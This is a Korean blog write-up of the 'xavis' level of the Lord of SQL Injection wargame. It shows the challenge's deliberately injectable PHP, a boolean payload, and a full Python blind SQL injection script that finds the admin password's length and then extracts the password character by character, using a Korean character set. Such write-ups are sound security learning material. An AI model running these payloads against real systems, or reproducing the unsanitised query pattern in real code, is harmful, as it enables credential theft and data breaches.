[Lord of SQL Injection] xavis

2019-07-05

Lord of SQL Injection - xavis

xavis 한글 조합 셋으로 풀기

query : select id from prob_xavis where id='admin' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

?pw=1' or length(pw)='1와 같은 쿼리가 필터링 없이 잘 적용된다 이 쿼리로 알아낸 패스워드의 길이는 12이다.

알파벳,숫자 조합,substr로 패스워드를 한 글자씩 알아내려고 하면 Hello guest만 뜨고 admin의 경우는 알 수가 없다.

그래서 알아봤더니 패스워드가 한글이어서 그렇다!! 다른 분들은 Hex 값으로 알아낸 후 10진수로 바꿔주고 그 값을 한글로 바꿔주는 방식을 사용하셨는데, 답이 한글이라는 것을 알고있다는 전제 하에 한글 조합셋으로 문제를 푸는 코드를 짜봤다. 한글 조합 파일도 직접 만들었다..

from requests import get
import string
from time import sleep

url = "https://los.rubiya.kr/chall/xavis.php"
cookies = dict(PHPSESSID="")
special_strings = "~!@#$%^&*()+-_{}[]<>"
alpha = string.ascii_letters+string.digits+special_strings
result = ""
f = open("hangul.txt",mode="rt", encoding="utf-8")
line = f.read()
n_split = line.split("\n")
hangul = n_split[0].split(" ")
for i in range(0,len(hangul)):
    alpha += hangul[i]

for i in range(1,20):
    parameter = "?pw=1%27%20or%20length(pw)=%27"+str(i)+"%23"
    new_url = url + parameter
    r = get(new_url, cookies=cookies)

    if r.text.find("Hello admin") > 0:
        length = i + 1
        print("password length is " + str(i))
        break

for j in range(1,length):
    for i in alpha:
        parameter = "?pw=1%27%20or%20substr(pw,"+str(j)+",1)=%27"+str(i)
        print(parameter)
        new_url = url + parameter
        r = get(new_url, cookies=cookies)

        if r.text.find("Hello admin") > 0:
            print(str(j) + " -> " + str(i))
            result += str(i)
            break

    if j == 1 and result == "":
        print("password not found")
        exit(0)

    if j == length-1:
        result = result.lower()
        print("\npassword is "+result)
        print("\n")

진짜진짜 오래걸리니 Hex 값을 이용해 문제를 푸는 방식을 추천 드립니다..